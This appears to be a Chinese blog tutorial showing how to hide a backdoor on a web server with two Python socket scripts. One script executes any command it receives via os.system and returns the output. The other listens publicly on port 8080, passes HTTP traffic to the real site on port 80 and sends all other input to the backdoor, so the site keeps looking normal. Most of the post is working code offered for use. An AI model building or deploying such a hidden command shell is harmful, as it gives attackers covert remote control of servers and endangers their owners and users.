python基于socket进行端口转发实现后门隐藏的示例
思想：
用户正常浏览器访问请求通过8080端口，请求若为http请求，则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。
8888端口监听代码：
#!/usr/bin/env python
from socket import *
import os
HOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)
tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)
while True:
print("waiting for connection...")
tcpCliSock,addr = tcpSerSock.accept()
print("...connected from:",addr)
while True:
data=tcpCliSock.recv(BUFSIZE)
if not data:
break
info = data.split('\n')
command = info[0]
try:
os.system(command + " > command.txt");
file = open('command.txt')
data =""
for line in file:
data=data+line;
tcpCliSock.send(data)
except Exception:
tcpCliSock.send("Nothing to do")
tcpCliSock.close()
tcpSerSock.close()
8080端口转发代码：
#!/usr/bin/python
from socket import *
tcp1 = socket(AF_INET,SOCK_STREAM)
tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)
BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:
data = tcpCliSock.recv(BUFFER_SIZE)
if 'HTTP' in data:
tcp3 = socket(AF_INET,SOCK_STREAM)
tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcp3.connect(('127.0.0.1',80))
tcp3.send(data)
htmlinfo = tcp3.recv(2048)
if not htmlinfo:
tcp3.close()
else:
tcpCliSock.send(htmlinfo)
else:
tcp2 = socket(AF_INET,SOCK_STREAM)
tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcp2.connect(('127.0.0.1',8888))
data = data.replace("\n"," ")
print data
tcp2.send(data)
commandinfo = tcp2.recv(1024)
tcpCliSock.send(commandinfo)
tcp2.close()
tcpCliSock.close()
tcp1.close()
有些地方还有些小问题等待修正，但是linux下是可以完美运行的。欢迎学习交流。
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